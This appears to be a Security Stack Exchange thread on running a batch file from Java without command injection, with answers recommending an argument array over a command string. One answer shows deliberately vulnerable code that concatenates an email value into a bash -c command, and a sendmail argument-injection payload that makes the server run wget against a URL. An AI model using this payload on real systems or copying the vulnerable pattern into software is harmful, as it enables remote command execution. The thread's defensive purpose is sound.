1

Since using Runtime.exec() and ProcessBuilder trigger command injection vulnerability in static analyzing tools, is there any other recommended secure way to execute a bat file from a Java program?

Java code: 

Runtime.getRuntime().exec("C:\\batFile.bat")

FindBugs analysis: find bugs analysis

pasanbsb
  • 113
  • 1
  • 4
  • 1
    How are you calling Runtime.exec? Are you passing in a variable which is built off user input or a *final* string constant? – Daisetsu Oct 05 '18 at 20:10
  • Can you share the analysis findings too? – Daisetsu Oct 05 '18 at 20:11
  • 2
    From my understanding the problem should only be `Runtime.exec(command_string)` and not `Runtime.exec(command_array)` since in the first case the `command_string` needs to be parsed and interpreted by the shell to be split into command and arguments (and possible interpretation of variables and shell instructions) which makes command injection possible. In the second case no shell needs to be involved since the `command_array` already provides clear separation into command and arguments. – Steffen Ullrich Oct 05 '18 at 20:15
  • Do you have a hard rule that the batch file has to be run from Java? You might be able to work around the issue by having the batch file constantly checking for the existence of a file, and have the Java program create the file. –  Oct 05 '18 at 20:37
  • @Daisetsu I have edited the description. The file path is constructed from a database result. It's not a String constant. – pasanbsb Oct 05 '18 at 21:07
  • @SteffenUllrich I will try and see the static analysis findings using `Runtime.getRuntime().exec("cmd /c batFile.bat", null, new File("C:\\"));` instead of simple command string. – pasanbsb Oct 05 '18 at 21:09
  • @pasanbsb: This is no better. The first argument should be an array with command and arguments already parsed into the parts of the array, not a string which still need to be parsed. – Steffen Ullrich Oct 05 '18 at 21:19

2 Answers2

1

I'm not really familiar with Java but I've seen the same problem with other languages. The issue is that when exec is called with a string the OS shell need to be involved it needs to parse the command string into the command and arguments. Although this is not done by letting the OS shell do the splitting as in many other languages like Perl (thanks for dave_thompson_085 correcting me) it nevertheless can have unintended results since the splitting is done simply by white-space and does not care about quoting or escaping. For example if the intended argument in constructing the command is a user defined filename, the user might provide a filename containing spaces which will be split into multiple arguments then although it was intended as a single one. Depending on what is actually executed this might also lead to unintended command injection. This is similar to SQL injections which can happen when constructing SQL statements from user input or with XSS and other kind of code injections.

The solution is thus the same as with parameter binding to defend against SQL injection: make sure that no parsing need to be done by the shell to extract the arguments by providing the relevant parts already parsed. With exec this means to not give a command string but instead a command array, i.e. something like this (nur sure if the explicit cmd.exe and /c are actually needed):

String[] cmdArray = new String[3];
cmdArray[0] = "cmd.exe";
cmdArray[1] = "/c";
cmdArray[2] = "C:\\batFile.bat";
Runtime.getRuntime().exec(cmdArray);

See also Stackoverflow: How do I run a batch file from my Java Application?.

Steffen Ullrich
  • 184,332
  • 29
  • 363
  • 424
  • His comment said the string is being built from a database output so I'm willing to bet that the code snipit he posted isn't the actual code. Parameterization may be enough to pass the static analyzer. God answer. – Daisetsu Oct 05 '18 at 21:39
  • 1
    [`Runtime.exec(String cmd [,String[] env,File wd])`](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#exec-java.lang.String-java.lang.String:A-java.io.File-) does NOT run a shell (or WIndows CMD) -- unless of course the command you tell it to run _is_ shell/CMD. It splits the 'command' into tokens by whitespace _only_; it does not handle quoting like shell, or variables or other substitutions or globbing like shell, or redirections or piping like shell, or builtins or compounds or aliases or functions like shell -- I've seen dozens of Qs on SO about these 'errors'. – dave_thompson_085 Oct 05 '18 at 23:51
  • ... But the _OS_ may run a shell or other interpreter (like perl etc) if the file you run has a kerbang on Unix, or its name has a file association -- like `.bat` -- on Windows. – dave_thompson_085 Oct 05 '18 at 23:56
  • @dave_thompson_085: thanks for pointing this out. I've blindly assumed that Java works in this regard like some other languages, i.e. runs `system` on the string. I've updated the answer to reflect the true behavior of Java. – Steffen Ullrich Oct 06 '18 at 04:44
1

Yes I think there are "secure" ways.

I think also in relation with your question that your objective can be both to avoid Command Injection and/or not triggering alerts in static source code scanners? The second one could be tricky, since the high amount of false positives these scanners generate.

I honestly think that the first alert of "Firebug" could be in most cases a False Positive (although useful for awareness) for "Command Injection" (if you are just calling a particular executable or bat file), in fact the rule should be applied just when you are calling a bash/cmd/sh interpreter. Then, the vulnerability could be possible when crafting directly into it arguments nested from unknown sources.

Command Injection example (both exec and ProcessBuilder options):

        String[] cmd = new String[]{"/bin/bash","-c","/usr/sbin/sendmail -f"+emailFrom};
        Runtime.getRuntime().exec(cmd);

        //Same as Exec
        ProcessBuilder pb = new ProcessBuilder(cmd);
        pb.start();

Since Java perform a fork() of the executable instead of directly call a OS command interpreter (like proc_open/exec in PHP), we could say that these functions are "by default" more protected against Command Injection.

On the other hand you should be aware too about "Argument Injection" attacks (could be fight as Command Injection itself, but slightly different). In which case, ProcessBuilder is the safe solution to go with. The reason is, exec() accepts a string and tokenize/interprete spaces to transform it into an argument array but ProcessBuilder don't, so spaces are not interpreted for string tokenization!

Argument Injection Example:

  }else if( ("Argument Injection".equals(submit)) ){

        //We are invoking an process without calling a sh/bash/cmd interpreter. But Still, thanks to Runtime.java tokenizer, we are able to inject extra arguments to target process.

        String cmd = "/usr/sbin/sendmail -f" + emailFrom;
        Runtime.getRuntime().exec(cmd);

Possible Payload:

ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}

Since is a little bit out of context for this Question, I let here a research I performed about those attacks. These subjects could be useful to anyone worried about the technique of using Languages pre-defined functions for calling executable in file systems.

Java CommandI/ArgumentI: http://rebujacker.com/2017/07/19/javacommandiargumenti/

PHP: http://rebujacker.com/2017/06/10/phpcommandiargumenti/

Ruby/Python/JS: http://rebujacker.com/2017/10/24/scriptcommandi/

I provide multiple PoC's where you can play with the different commands and see which ones fits on your more secure specs for target file execution.

User1234552
  • 26
  • 2